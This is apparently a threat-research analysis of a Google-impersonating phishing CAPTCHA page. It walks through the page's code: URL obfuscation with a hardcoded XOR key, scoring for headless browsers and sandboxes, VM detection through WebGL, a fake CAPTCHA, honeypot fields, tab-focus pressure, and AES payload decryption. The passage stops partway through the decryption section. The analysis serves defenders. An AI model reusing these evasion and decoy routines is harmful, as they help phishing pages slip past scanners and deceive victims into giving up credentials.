https://accounts-g0033le-com-bc7e.robertsoneric509.workers[.]dev/?rd9=OV1ULFNKZFYVZwVZKQ8IclUUIQdJbAVRIQ1SegJSO10DIVVSNFAfOUIDaRlaMlwuWBsyQB1_RB8mUUE-FwkqQFgzUws9VwEiUT09VREsXBNqRA44Bx0oQBk1T0g4An5YDmUDTzQAFGZSDSgJWn4HTiMOSWADWSZRACtRVw==

Note: link disabled by adding [.] on the to prevent accidental click.

Flow of This Page:

• Initial Load: The obfuscated code unpacks itself.

• Bot Detection: It scores the browser environment.

• Sandbox Check: It tests for automated analysis tools.

• CAPTCHA Display: The page shows a fake verification UI.

• User Interaction: It tracks mouse movements and timing.

• Validation: The script checks for bot-like behavior.

• Payload Fetch: It connects to the C2 infrastructure.

• Decryption: The system decrypts payload data using XOR and AES.

• Final Payload: It loads malicious HTML or JS via a Blob URL.

Fake Google.com Domain:

The URL is designed to deceive victims at first glance by mimicking a legitimate Google address. It uses typosquatting by replacing “google” with “g0033le” to bypass quick visual inspections.

https://accounts-g0033le-com-bc7e.robertsoneric509.workers[.]dev/

The “accounts-g0033le-com” string acts as a subdomain trick on a Cloudflare Workers domain. This visual mimicry works because the brain reads the string as “accounts.google.com” at a glance.

The site uses a valid Cloudflare SSL certificate to display a padlock icon and build false trust. This exploits typoglycemia, where the brain perceives words as whole patterns rather than individual letters.

These misspellings help the attacker avoid automated detection systems. Most users fail to notice the domain is misspelled or hosted as a subdomain of a third-party service.

Base64 Encoded URL

The CAPTCHA page URL includes an obfuscated parameter. This parameter does not directly point to the phishing page. Instead, it contains a Google open redirect link.

A Google open redirect is a legitimate Google URL that simply forwards the browser to another website specified in the link. When a user visits it, their browser first loads a page on google.com, then Google immediately redirects them to the final destination.

Attackers abuse this behavior because it makes the link appear to come from Google, even though the final page is controlled by the attacker.

The real destination is hidden so security scanners cannot easily see what the browser will actually request, and users are more likely to trust the redirect.

The real destination is protected by two layers of obfuscation:

• First, the link is Base64 encoded

• Second, it is encrypted using a simple encryption method called XOR

Base64 makes readable text look random. XOR then further scrambles that data so it cannot be understood without the key.

XOR works by combining each character of the original text with a secret key character. This changes the original data into unreadable output. Applying the same key again reverses the process and restores the original link. The same key is used to both hide and reveal the destination.

Layer 1: Base64 Decoding

The rd9 parameter in the URL is Base64 encoded:

?rd9=OV1ULFNKZFYVZwVZKQ8IclUUIQdJbAVRIQ1SegJSO10DIVVSNFAfOUIDaRla...

When decoded, this value does not produce a readable URL. Instead, it reveals another encrypted string.

Layer 2: XOR Decryption

The decoded value is then decrypted using XOR. The XOR key is hardcoded in the JavaScript running on the page.

The script processes the decoded string one character at a time and XORs each character with the corresponding character from the key. When the end of the key is reached, the script loops back to the beginning.

// XOR decryption key found in the source
var _0x3f3017 = 'K9mP2xQ7vR' + '4nL8jF3wE6' + 'yT1hG5bN0c' + 
                 'Z9aD4fH8kM' + 'cV6wE2sL9p';
// Full key: K9mP2xQ7vR4nL8jF3wE6yT1hG5bN0cZ9aD4fH8kMcV6wE2sL9p

// XOR decryption function
var _0x5dae5f = function(_0x5385a4){
    // Replace URL-safe Base64 chars
    var _0x51080c = _0x5385a4.replace(/-/g,'+').replace(/_/g,'/');
    
    // Base64 decode
    var _0x443407 = atob(_0x51080c);
    var _0x7b605e = '';
    
    // XOR each byte with key
    for(var _0x58af27 = 0; _0x58af27 < _0x443407.length; _0x58af27++) {
        _0x7b605e += String.fromCharCode(
            _0x443407.charCodeAt(_0x58af27) ^ 
            _0x3f3017.charCodeAt(_0x58af27 % _0x3f3017.length)
        );
    }
    return _0x7b605e;
};

The Decryption Process:

The full decryption flow works as follows:

• URL‑safe Base64 characters are converted to standard Base64

• The string is Base64 decoded

• Each byte is XORed with the hardcoded key

• The output becomes a readable URL

Final Decrypted Result

After both decoding and decryption, the hidden value resolves to:

https://www.google.com/url?q=https://pub-2868288599424707.r2[.]dev/index.html#user@target-domain.com

This layered obfuscation ensures the real destination remains hidden until the final stage, after client‑side code execution, making static analysis and automated detection much more difficult.

Code Obfuscation Layer

The JavaScript code on the CAPTCHA page uses heavy obfuscation to prevent static analysis and slow down manual reverse engineering.

This obfuscation layer functions as an initial barrier, ensuring that security tools and scanners cannot easily determine the script’s behavior without executing it in a browser or sandbox.

Obfuscated Loader Function

One of the first constructs encountered is a self executing anonymous function combined with array rotation logic:

// Self-executing anonymous function with array rotation
(function(_0x1d6412,_0xa89068){
    var _0x45dc68=_0x_0x2e07,_0x30dae7=_0x_0x2e07,_0x208be3=_0x1d6412();
    while(!![]){
        try{
            var _0x4b03ab=parseInt(_0x45dc68(0x205))/(0x20ce+-0x3*-0x20c+-0x26f1)*(-parseInt(_0x30dae7(0x1fa))/(-0x2ee+-0x1*-0x1b73+-0x1883))
            // ... more obfuscated math
            if(_0x4b03ab===_0xa89068)break;
            else _0x208be3['push'](_0x208be3['shift']());
        }catch(_0x2ca087){
            _0x208be3['push'](_0x208be3['shift']());
        }
    }
}(_0x_0x2fa0,0xfb7+-0x56696+0xe2f1e))

This code executes automatically as soon as the page loads. Wrapping the logic in an immediately invoked function expression creates a private scope, preventing variables and helper functions from being accessed directly by analysis tools or browser consoles. Everything meaningful is hidden inside the closure.

Hex Encoded Arithmetic Confusion

Throughout the code, arithmetic operations are written using hexadecimal values combined with misleading math expressions.

Expressions such as 0x20ce+-0x3*-0x20c+-0x26f1 look arbitrary but resolve to fixed numeric values at runtime. This prevents simple pattern matching and makes it difficult to determine which array index or condition is being evaluated by simply reading the source.

Array Rotation Logic

The loader relies heavily on array rotation to hide string values. A string array is repeatedly modified using shift() and push() operations. Each iteration removes the first element of the array and appends it to the end. This continues until a calculated condition is met.

Because the array is constantly being reordered, the numeric index used to retrieve a string does not correspond to a fixed value until the rotation completes. Any attempt to read string references statically will produce incorrect results unless the rotation logic is executed first.

Variable Name Scrambling

All variables and functions are assigned meaningless hexadecimal style identifiers such as _0x1d6412, _0xa89068, and _0x45dc68.

These names convey no semantic information about their purpose or contents. This forces an analyst to track values manually through execution rather than relying on readable identifiers, significantly increasing analysis time.

Function Reference Obfuscation

Functions are not called by descriptive names. Instead, function references are stored inside the rotated string array and accessed using numeric indices.

Calls such as _0x45dc68(0x205) resolve to real functions only after the array has been reordered correctly. Without executing the code, it is not possible to determine which function is actually being invoked.

Obfuscated String Array

The obfuscation relies on a large string array that stores encoded values used throughout the script:

function _0x_0x2fa0(){
    var _0x124df4=[
        'mZy3ode2nuXczvPNtG',
        'B3bLBG',
        'BuTXB20',
        'r0vu',
        'zNvUy3rPB24GkG',
        // ... hundreds of obfuscated strings
    ];
    _0x_0x2fa0=function(){return _0x124df4;};
    return _0x_0x2fa0();
}

This array contains hundreds of Base64 encoded strings that represent real JavaScript code fragments, function names, URLs, and string literals. These values are referenced by numeric index throughout the script. Because the array order is altered at runtime, the mapping between index and actual value changes dynamically.

Without executing the rotation logic, it is impossible to know what value a reference like _0x124df4[5] actually resolves to.

Effectiveness of the Obfuscation

This obfuscation strategy is effective against multiple forms of detection. Static analysis tools that do not execute JavaScript are unable to resolve string values, function calls, or control flow.

Signature based detection fails because the structure and ordering of the code can change between deployments. Manual reverse engineering becomes time consuming because meaningful logic is distributed across layers of indirection and runtime transformations.

The code also resembles patterns used by legitimate JavaScript packers and minifiers, which reduces the likelihood of it being flagged as malicious based solely on structure.

Without executing the script in a controlled environment or manually stepping through the deobfuscation process, security tools are left with JavaScript that appears unintelligible and does not match known threat signatures.

Bot Detection System

Once the obfuscated JavaScript finishes unpacking, the page immediately evaluates the browser environment to determine whether it is being accessed by a real user or by an automated analysis tool. This logic runs before the phishing payload is allowed to load and acts as a gate that controls whether execution continues.

This function returns a numeric score based on multiple environment checks. Each check adds points when a signal commonly associated with automation, headless execution, or analysis tooling is detected.

Core Detection Function:

window._vE=function(){
    var s=0;
    try{if(typeof process!=='undefined'&&process.versions)s+=5;}catch(e){}
    try{if(n.webdriver||w.callPhantom||w.__nightmare)s+=5;}catch(e){}
    try{if(n.userAgent&&(n.userAgent.indexOf('jsdom')>-1||n.userAgent.indexOf('Headless')>-1))s+=5;}catch(e){}
    try{if(!w.chrome&&!w.safari&&n.vendor==='')s+=3;}catch(e){}
    try{if(w.outerWidth===0||w.outerHeight===0)s+=3;}catch(e){}
    try{if(w.innerWidth===0||w.innerHeight===0)s+=3;}catch(e){}
    try{var t=Function.prototype.toString;if(t.call(t).indexOf('native code')===-1)s+=3;}catch(e){}
    try{if(typeof module!=='undefined'&&module.exports)s+=4;}catch(e){}
    return s;
}; 

How the Detection Works:

The function builds a cumulative score by testing for characteristics that are rarely present in real user browsers but commonly appear in automation frameworks, headless environments, and security scanners.

Each test is wrapped in a try catch block so that failing to access one signal does not stop the remaining checks from running.

This design allows the detection logic to remain effective even when parts of the environment are restricted, partially sandboxed, or instrumented.

The script checks for the following indicators:

• Node JS: Identifies server-side environments by checking for the process global object (+5) or the module.exports CommonJS system (+4). Real browsers lack these, indicating the use of tools like Puppeteer.

• Automation Tools: Flags standard automation fingerprints. It checks navigator.webdriver (+5), a property set to true by Selenium/WebDriver, and scans for legacy bot globals like callPhantom or __nightmare (+5).

• Headless Browser Identification: Detects the absence of a physical UI. It scans the User-Agent for “jsdom” or “Headless” strings (+5). It also checks for Zero outer dimensions (window.outerWidth/Height) (+3) and Zero inner dimensions (window.innerWidth/innerHeight) (+3), as bots often fail to render a visual viewport.

• Environment Tampering: Detects attempts to mask bot activity. It flags a Modified Function.toString (+3) if the native code string is missing, indicating hooked functions. It also checks for a Missing vendor string (+3) in navigator.vendor, which is populated in real browsers like Chrome or Safari.

Scoring Threshold:

The detection logic does not block execution directly. Instead, a separate gate function named _vG calls _vE and decides whether the page is allowed to proceed.

A score below the threshold is treated as a normal browser. A score at or above the threshold is treated as automation.

• Score < 8: Execution continues normally (likely a real browser)

• Score ≥ 8: Execution is blocked (likely a bot or scanner)

• The page sets w._vFail=true and prevents the phishing payload from loading

Score < 8: Execution continues normally
Score ≥ 8: Execution is blocked

When the threshold is exceeded, the page sets w._vFail=true and prevents the phishing payload from loading.

Gate Function:

The gate function acts as a control checkpoint that runs before any sensitive code executes. The logic works like this:

• If _vOK is already set to true, the function immediately allows execution. This caches a successful validation so the checks are not repeated.

• If _vFail is already set to true, execution is immediately blocked. Once a browser is flagged as automated, it remains blocked for the rest of the session.

window._vG=function(){
    if(w._vOK===true)return false;
    if(w._vFail===true)return true;
    var score=w._vE();
    if(score>=8){
        w._vFail=true;
        return true;
    }
    w._vOK=true;
    return false;
};

If neither flag is set, the function calls _vE to calculate the environment score. If the score meets or exceeds the threshold, _vFail is set and execution stops. Otherwise, _vOK is set and the page continues loading.

This ensures that automated scanners and headless analysis tools never see the phishing payload, while real user browsers proceed through the rest of the attack chain without interruption.

Sandbox Detection

Beyond basic bot detection, the page implements sophisticated sandbox analysis detection to identify if it’s running in a security researcher’s controlled environment.

Sandboxes are isolated testing environments used by analysts to safely examine malicious code. This layer specifically targets those tools.

var _isSandbox=!1,_isAnalysis=!1,_sandboxScore=0;

// Check for iframe sandbox
try{
    if(_w.self!==_w.top){
        try{_w.top.location.href;}catch(e){_sandboxScore+=1;}
    }
}catch(e){_sandboxScore+=1;}

// Test eval functionality
try{
    var _origEval=_w.eval;
    var _evalTest=_origEval('1+1');
    if(_evalTest!==2)_sandboxScore+=2;
}catch(e){_sandboxScore+=1;}

// Check function toString
var _fnToStr=_a.prototype.toString;
try{
    var _testFn=function(){return 1};
    var _str=_fnToStr.call(_testFn);
    if(_str.indexOf('return 1')===-1&&_str.indexOf('native code')===-1)_sandboxScore+=2;
}catch(e){_sandboxScore+=1;}

// Debugger timing detection
var _debugStart=_ts();
(function(){})();
var _debugEnd=_ts();
if(_debugEnd-_debugStart>100)_sandboxScore+=3;

// Node.js detection
if(typeof process!=='undefined'&&process.versions&&process.versions.node)_sandboxScore+=5;
if(typeof module!=='undefined'&&module.exports)_sandboxScore+=3;
if(typeof require==='function'&&typeof require.resolve==='function')_sandboxScore+=3;

Browser Fingerprinting:

In addition to the JavaScript environment checks, the page performs browser fingerprinting to detect sandboxed or virtualized environments.

This stage looks for missing browser features and hardware characteristics that are difficult to fake convincingly. Real user browsers provide a complete set of web APIs and expose accurate hardware information through WebGL.

Analysis sandboxes and lightweight virtual machines often implement only the minimum required functionality, creating detectable gaps.

Missing API Detection

Modern browsers implement the full web API surface. Sandboxes tend to prioritize speed and isolation, often omitting storage APIs, cryptographic functions, and cache mechanisms that real websites depend on.

// Check for missing browser APIs
var _browserGlobals=['localStorage','sessionStorage','indexedDB','caches','crypto'];
var _missingCount=0;
for(var i=0;i<_browserGlobals.length;i++){
    try{if(typeof _w[_browserGlobals[i]]==='undefined')_missingCount++;}catch(e){_missingCount++;}
}
if(_missingCount>=3)_sandboxScore+=3;

The script checks for the presence of several standard browser APIs expected in a modern browser environment.

APIs Tested: localStorage, sessionStorage, indexedDB, caches, and crypto

Real browsers implement all of these APIs because they are part of the standard web platform. Sandbox environments and automated analysis tools often omit less commonly used features to reduce complexity and resource usage.

If three or more of these APIs are missing or inaccessible, the environment is treated as suspicious and +3 points are added to the sandbox score.

WebGL Hardware Fingerprinting

Real user devices rely on physical GPUs from vendors like Intel, NVIDIA, or AMD, which expose consistent renderer information through WebGL.

Analysis environments frequently run inside virtual machines or containers that use software rendering or virtual GPU drivers, which are easily identifiable.

// Canvas fingerprinting
try{
    var canvas=_d.createElement('canvas');
    var gl=canvas.getContext('webgl')||canvas.getContext('experimental-webgl');
    if(gl){
        var debugInfo=gl.getExtension('WEBGL_debug_renderer_info');
        if(debugInfo){
            var vendor=gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
            var renderer=gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
            if(/SwiftShader|LLVMpipe|VirtualBox|VMware/i.test(renderer))_s+=3;
        }
    }
}catch(e){_s+=2} 

The script creates a canvas element and requests a WebGL rendering context.

If available, it uses the WEBGL_debug_renderer_info extension to read the unmasked GPU vendor and renderer strings, exposing the actual graphics backend being used by the browser.

These renderer strings are then compared against known virtualized or software-based graphics implementations.

Common VM and Software Renderers Detected:

• SwiftShader: Software OpenGL implementation with no physical GPU

• LLVMpipe: Mesa software rasterizer used in Linux virtual machines

• VirtualBox and VMware: Virtual GPU drivers for virtual machines

If any of these signatures are detected, +3 points are added to the sandbox score. If WebGL fails entirely or cannot be initialized, which is common in minimal sandbox environments, the script assumes restricted graphics support and adds +2 points.

Why This Works

While user agent strings and simple JavaScript properties can be spoofed, WebGL renderer values require low-level graphics driver manipulation to fake convincingly. Combined with missing API detection, this creates a fingerprint that is difficult for automated analysis tools to fully replicate.

A real Chrome browser running on physical hardware will pass both checks with no score increase (score +0). A sandboxed browser running inside a virtual machine typically triggers both the missing API detection and the virtual GPU detection, resulting in a cumulative score increase (score +6 or more) that contributes to blocking the phishing payload from loading.

Random Brand Name Generator

To appear more legitimate and evade signature-based detection, the page dynamically generates fake company names for the CAPTCHA interface each time it loads.

This prevents security tools from flagging the page based on a known fake brand name, since the name changes with every visit. The random generation also creates the illusion of a professional security verification service.

var prefixes=['','Global ','International ','Advanced ','Modern ','Next ','New ','First ','Prime ','Elite '];
var brands=['Secure','Cloud','Digital','Smart','Prime','Core','Net','Web','Data','Tech','Pro','One','Hub','Link','Base'];
var suffixes=['Services','Platform','Systems','Solutions','Connect','Portal','Gateway','Access','Suite','Center'];

var formats=[
    function(p,b,s){return p+b+s},
    function(p,b,s){return p+b+' '+s},
    function(p,b,s){return b+s},
    function(p,b,s){return b+' '+s}
];

window._brand=_r(formats)(_r(prefixes),_r(brands),_r(suffixes)).trim();
// Example output: "Global Smart Platform", "Digital Solutions", etc.

document.title=_r(titleFormats)(window._brand);

How the Generator Works

Component Arrays: Three arrays contain words used to construct the brand name.

1. Prefixes include an empty value or corporate modifiers such as Global, Advanced, Modern, and Elite.

2. Brand terms consist of generic technology and security words like Secure, Cloud, Digital, Smart, and Data.

3. Suffixes describe services or platforms, including Services, Solutions, Gateway, Portal, and Center.

Format Selection: One of four formatting functions is selected at random to control whether components are concatenated directly or separated by spaces.

Random Choice: A helper function _r() selects one random prefix, one brand term, one suffix, and one format function using Math.random().

Brand Assembly: The selected format function combines the three components into a single string, which is trimmed to remove extra whitespace.

Page Title Injection: The generated brand name is assigned to document.title, causing the browser tab and page header to display the fake company name.

Example Generated Names:

• “Global Secure Services”

• “Digital Platform”

• “Smart Solutions”

• “CloudGateway”

• “Next Tech Center”

• “Prime Data Systems”

• “SecureConnect”

Why This Works:

Each page load produces a different brand name, preventing security scanners from relying on static text signatures to identify the page.

Because there is no hardcoded company name, threat intelligence systems cannot search for or block a specific identifier.

The generated names closely resemble legitimate enterprise security vendors, which increases user trust during the CAPTCHA phase.

The use of generic technology terms avoids inconsistencies that might arise from pretending to be a specific real company.

This approach also adds polish to the phishing page. Compared to static or obviously fake branding, dynamic name generation makes the operation appear more professional and harder to distinguish from legitimate security workflows.

With 10 prefixes, 15 brand terms, 10 suffixes, and 4 formatting options, the generator can produce approximately 6,000 unique brand name combinations, making comprehensive detection and cataloging impractical for automated security tools.

Anti-Bot CAPTCHA System

The CAPTCHA implementation serves two purposes: filtering automated traffic and appearing legitimate to the victim.

The system generates simple math problems, applies visual distortion, validates answers with timing checks, and tracks failed attempts to prevent brute-force solving.

Challenge Generation

The math challenge is generated using a function that randomly selects addition or subtraction. For addition, two numbers between 1 and 10 are chosen.

For subtraction, the first number is between 10 and 29, and the second number is between 1 and 10 to ensure a positive result. The function returns both the equation as a string and the correct answer.

function _0x126f8d(){
    const _0x5ae264=['+','-'];
    const _0x3b109d=_0x5ae264[Math.floor(Math.random()*_0x5ae264.length)];
    let _0xfedd4d,_0x4860bb,_0x5d85a2;
    
    switch(_0x3b109d){
        case'+':
            _0xfedd4d=Math.floor(Math.random()*10)+1;
            _0x4860bb=Math.floor(Math.random()*10)+1;
            _0x5d85a2=_0xfedd4d+_0x4860bb;
            break;
        case'-':
            _0xfedd4d=Math.floor(Math.random()*20)+10;
            _0x4860bb=Math.floor(Math.random()*10)+1;
            _0x5d85a2=_0xfedd4d-_0x4860bb;
            break;
    }
    
    return {
        'equation':_0xfedd4d+' '+_0x3b109d+' '+_0x4860bb+' = ?',
        'answer':_0x5d85a2,
        'num1':_0xfedd4d,
        'num2':_0x4860bb,
        'op':_0x3b109d
    };
}

Visual Distortion

The CAPTCHA is rendered on a canvas element with 20 random Bézier curves in semi-transparent colors to create background noise.

Each character of the equation is drawn individually with randomized rotation, position offset, and scaling.

The font is randomly selected from four families, the color is chosen from a predefined palette, and a drop shadow adds depth. These distortions make automated parsing more difficult while remaining readable to a human.

function _0x5c6ec6(_0x2045d9,_0x4a094d){
    const _0x1cd61f=_0x2045d9.getContext('2d');
    const _0x7099b5=_0x2045d9.width;
    const _0x41acf0=_0x2045d9.height;
    
    // Background gradient
    _0x1cd61f.fillStyle='#ffffff';
    _0x1cd61f.fillRect(0,0,_0x7099b5,_0x41acf0);
    
    // Draw random curves for noise
    for(let _0x2abd86=0;_0x2abd86<20;_0x2abd86++){
        _0x1cd61f.beginPath();
        _0x1cd61f.lineWidth=1+Math.random();
        _0x1cd61f.strokeStyle='rgba('+(100+Math.random()*155)+', '+(100+Math.random()*155)+', '+(100+Math.random()*155)+', '+(0.3+Math.random()*0.2)+')';
        _0x1cd61f.moveTo(Math.random()*_0x7099b5,Math.random()*_0x41acf0);
        _0x1cd61f.bezierCurveTo(
            Math.random()*_0x7099b5,Math.random()*_0x41acf0,
            Math.random()*_0x7099b5,Math.random()*_0x41acf0,
            Math.random()*_0x7099b5,Math.random()*_0x41acf0
        );
        _0x1cd61f.stroke();
    }
    
    // Draw equation with distortion
    const _0x565782=_0x4a094d.split('');
    const _0x3ad41a=['Arial','Verdana','Times New Roman','Courier New'];
    const _0x34a815=['#1a73e8','#ea4335','#fbbc04','#5f6368','#34a853'];
    
    _0x565782.forEach((_0x3a6290,_0x5435ad)=>{
        _0x1cd61f.save();
        const _0x860cfb=_0x16cfec+_0x5435ad*30+(Math.random()-0.5)*10;
        const _0x264f68=_0x42f887+(Math.random()-0.5)*10;
        const _0x27110a=(Math.random()-0.5)*0.4;
        const _0x21148a=0.9+Math.random()*0.3;
        
        _0x1cd61f.translate(_0x860cfb,_0x264f68);
        _0x1cd61f.rotate(_0x27110a);
        _0x1cd61f.scale(_0x21148a,_0x21148a);
        
        // Shadow effect
        _0x1cd61f.shadowColor='rgba(0,0,0,0.3)';
        _0x1cd61f.shadowBlur=2;
        _0x1cd61f.shadowOffsetX=1;
        _0x1cd61f.shadowOffsetY=1;
        
        _0x1cd61f.font='bold '+(18+Math.random()*8)+'px '+_0x3ad41a[Math.floor(Math.random()*_0x3ad41a.length)];
        _0x1cd61f.fillStyle=_0x34a815[Math.floor(Math.random()*_0x34a815.length)];
        _0x1cd61f.fillText(_0x3a6290,0,0);
        _0x1cd61f.restore();
    });
}

Validate CAPTCHA Answer:

The CAPTCHA answer is validated by checking both the submitted value and the time taken to respond. Answers submitted too quickly are flagged as bot activity.

Failed attempts increment a counter, trigger progressive error messages, and refresh the CAPTCHA after five failures to prevent brute-force solving. Successful answers allow the page to proceed.

function _0x2d2880(){
    const _0x110113=parseInt(_0x55b414.input.value.trim(),10);
    const _0x181abf=Date.now()-_0x434e52;
    
    // Check if answered too fast (bot behavior)
    if(_0x181abf<1000||_0xf2ef96<2&&_0x3fbffb>=1){
        _0x3fbffb++;
        _0x55b414.input.classList.add('error');
        _0x55b414.errorText.textContent='Too fast! Please try again.';
        _0x55b414.error.classList.add('visible');
        _0x553edb(); // Update attempt dots
        setTimeout(()=>_0x51bda9(),1000); // Refresh CAPTCHA
        return false;
    }
    
    // Check if answer is correct
    if(_0x110113===_0x5140d4){
        return _0x4cb1eb(), true; // Success
    }else{
        _0x3fbffb++;
        _0x55b414.input.classList.add('error');
        _0x553edb();
        
        const _0x4d8f07=[
            'Incorrect answer. Please try again.',
            'That\'s not quite right. Try once more.',
            'Wrong answer. Check your math.',
            'Hmm, that\'s incorrect. Please retry.',
            'Oops! Try once more.'
        ];
        _0x55b414.errorText.textContent=_0x4d8f07[Math.min(_0x3fbffb-1,_0x4d8f07.length-1)];
        _0x55b414.error.classList.add('visible');
        
        // Max attempts exceeded
        if(_0x3fbffb>=5){
            _0x55b414.errorText.textContent='Too many failed attempts. Refreshing...';
            setTimeout(()=>window.location.reload(),2000);
            return false;
        }
        
        setTimeout(()=>_0x51bda9(),1500);
        return false;
    }
}

Honeypot Fields (Bot Trap)

The page deploys honeypot form fields to detect automated form fillers.

These fields are dynamically generated and hidden from view, ensuring that legitimate users never interact with them. Bots that blindly populate all inputs on a page will fill these fields and immediately trigger detection.

function _0x46f241(){
    const _0x5b26b2=['email','username','password','address','phone','postal','city'];
    const _0x4a2c13=document.querySelector('.captcha-card');
    
    if(_0x4a2c13){
        for(let _0x487572=0;_0x487572<3;_0x487572++){
            const _0x401161=document.createElement('input');
            _0x401161.type=Math.random()>0.5?'text':'password';
            _0x401161.name=_0x5b26b2[_0x1cd96f(0,_0x5b26b2.length-1)]+'_'+_0x367ab4();
            _0x401161.autocomplete='off';
            _0x401161.tabIndex=-1;
            
            const _0x156621=_0x1cd96f(0,4);
            switch(_0x156621){
                case 0:
                    _0x401161.style.cssText='position:absolute;left:-9999px;';
                    break;
                case 1:
                    _0x401161.style.cssText='clip:rect(0,0,0,0);position:absolute;';
                    break;
                case 2:
                    _0x401161.style.cssText='visibility:hidden;position:absolute;';
                    break;
                case 3:
                    _0x401161.style.cssText='opacity:0;pointer-events:none;position:absolute;';
                    break;
                case 4:
                    _0x401161.style.cssText='position:absolute;width:1px;height:1px;overflow:hidden;';
                    break;
            }
            
            _0x4a2c13.appendChild(_0x401161);
            
            // If filled, redirect (bot detected)
            _0x401161.addEventListener('input',()=>{
                window.location.href='about:blank';
            });
        }
    }
}

How It Works:

The function dynamically inserts three hidden input fields into the CAPTCHA container each time the page loads. These inputs are added after the visible form is rendered, ensuring they exist in the DOM while remaining invisible to real users.

Believable Field Names: The field names are constructed to look legitimate. Each input uses a common form label such as email, username, or password, followed by a random suffix. This naming pattern is intended to attract automated form fillers that scan for familiar input names and populate them automatically.

Mixed Input Types: Each honeypot field randomly alternates between text and password input types. This variation makes the fields resemble real login inputs and reduces the chance that bots skip them based on type alone.

Multiple Hiding Techniques: The inputs are hidden using one of five different CSS techniques. These include positioning the element far off‑screen, clipping it to a zero‑sized rectangle, setting visibility to hidden, setting opacity to zero with pointer events disabled, or shrinking the element to a 1×1 pixel area with overflow hidden. Rotating between multiple hiding methods prevents bots from bypassing the trap by detecting a single concealment pattern.

User Interaction Prevention: To avoid any accidental interaction by real users, the fields are removed from keyboard navigation by setting tabIndex=-1, and browser auto‑fill is disabled using autocomplete='off'.

Detection Trigger: Each honeypot field has an event listener attached. If any input is detected in one of these hidden fields, the script immediately redirects the browser to about:blank. This silently terminates the session and prevents the phishing payload from continuing to load.

Visibility Warning System

The page monitors when the user switches tabs, minimizes the browser, or clicks away from the active window. When this happens, a visible warning is displayed to discourage the victim from leaving the page during the verification process.

function _0x20a584(){
    document.addEventListener('visibilitychange',function(){
        if(document.hidden){
            _0x55b414.warning.classList.add('active');
        }else{
            _0x55b414.warning.classList.remove('active');
        }
    });
    
    window.addEventListener('blur',function(){
        _0x55b414.warning.classList.add('active');
    });
    
    window.addEventListener('focus',function(){
        _0x55b414.warning.classList.remove('active');
    });
}

How It Works:

The function registers multiple event listeners that track page visibility and window focus state. These listeners work together to detect any loss of attention, regardless of how the user navigates away.

Visibility API Detection: The script listens for the visibilitychange event and checks the document.hidden property. When the browser tab becomes inactive, such as when the user switches to another tab, the warning element is activated.

Window Blur Detection: A blur event listener detects when the browser window loses focus entirely, such as when the user clicks another application or minimizes the browser. This triggers the same warning state.

Window Focus Restoration: When the user returns to the page, either by refocusing the window or switching back to the tab, the focus event removes the warning and restores the normal interface.

Warning Display Logic: The warning is shown by adding an active class to a dedicated warning element. This typically displays an overlay or message instructing the user to keep the page active. When focus is regained, the class is removed and the warning disappears.

This mechanism is designed to maintain user engagement during the phishing flow. By immediately reacting to tab changes or window focus loss, the page discourages victims from opening new tabs to inspect the URL, search for the displayed company name, or consult external sources. Warning messages such as “Please keep this window active” introduce urgency and subtly pressure the user to comply.

In addition to influencing user behavior, this system can be used to log how often victims attempt to navigate away, providing insight into hesitation or suspicion during the attack flow.

Encryption and Decryption Functions

The page is heavily obfuscated using multiple encryption layers to hide the final payload from scanners and static analysis.

A simple XOR layer is used first for fast obfuscation, followed by AES-256-CBC to protect the actual payload content.

Each layer must be decoded in the correct order. If any step fails, the payload never becomes readable or executable.

CryptoJS Library Loading

Before any encryption or decryption happens, the page loads the CryptoJS library from a CDN in the document <head>.

<script src="https://cdnjs.cloudflare[.]com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>

This library is used for:

• AES-256-CBC encryption/decryption

• SHA-256 hashing for key derivation

• Base64 and Hex encoding/decoding

• Makes the CryptoJS object globally available

CryptoJS is widely used and well known, so including it does not stand out. It saves the developer from writing their own AES and hashing code and works reliably across browsers.

Because it is hosted on a trusted CDN, its presence does not usually trigger alerts. If this library fails to load, the payload cannot be decrypted and execution stops.

XOR Decryption (First Layer):

The first decoding step removes a lightweight obfuscation layer using XOR.

function _0x3c2600(_0x2ae0a7,_0xc9d7cd){
    let _0x8d2675=_0x2ae0a7.replace(/-/g,'+').replace(/_/g,'/');
    while(_0x8d2675.length%4)_0x8d2675+='=';  // Add padding
    
    const _0x29541f=atob(_0x8d2675);  // Base64 decode
    let _0x458eaa='';
    
    // XOR each byte with key
    for(let _0x5a5d0c=0;_0x5a5d0c<_0x29541f.length;_0x5a5d0c++){
        _0x458eaa+=String.fromCharCode(
            _0x29541f.charCodeAt(_0x5a5d0c)^
            _0xc9d7cd.charCodeAt(_0x5a5d0c%_0xc9d7cd.length)
        );
    }
    return _0x458eaa;
}

The function converts URL-safe Base64 back to normal Base64, restores missing padding, and decodes it into raw bytes. Each byte is then XORed with a repeating key.

This does not provide strong security by itself. Its purpose is to break simple signatures and prevent the encrypted payload from being obvious in source code.

XOR Encryption (Reverse Operation):

This function performs the reverse process when encrypting data.

function _0x466f00(_0xe53cf,_0x5aeba3){
    let _0x4611c3='';
    
    // XOR encrypt each character
    for(let _0x2a8d71=0;_0x2a8d71<_0xe53cf.length;_0x2a8d71++){
        _0x4611c3+=String.fromCharCode(
            _0xe53cf.charCodeAt(_0x2a8d71)^
            _0x5aeba3.charCodeAt(_0x2a8d71%_0x5aeba3.length)
        );
    }
    
    // Base64 encode result
    let _0xaabb02=btoa(_0x4611c3);
    
    // Convert to URL-safe Base64
    return _0xaabb02.replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');
}

The output is URL-safe Base64 so it can be embedded in JavaScript or passed around without breaking parsing.

CryptoJS Decryption:

The final payload is decrypted using AES-256-CBC through CryptoJS.

window['_d']=function(_0x588bae){
    try{
        var _0x2616d7=_0x588bae.replace(/-/g,'+').replace(/_/g,'/');
        var _0x273ac8=CryptoJS.enc.Base64.parse(_0x2616d7);
        var _0x3c1c5e=CryptoJS.enc.Hex.parse(_0x273ac8.words.slice(0,4));
        var _0x3dec48=CryptoJS.enc.Hex.parse(_0x273ac8.words.slice(4));
        
        return CryptoJS.AES.decrypt(
            {ciphertext:_0x3dec48},
            CryptoJS.SHA256(_k),
            {
                'iv':_0x3c1c5e,
                'mode':CryptoJS.mode.CBC,
                'padding':CryptoJS.pad.Pkcs7
            }
        ).toString(CryptoJS.enc.Utf8);
    }catch(_0x4964a8){
        return null;
    }
};

The encrypted input is converted from URL-safe Base64 into binary data. The first part is used as the initialization vector, and the rest is treated as the AES ciphertext.

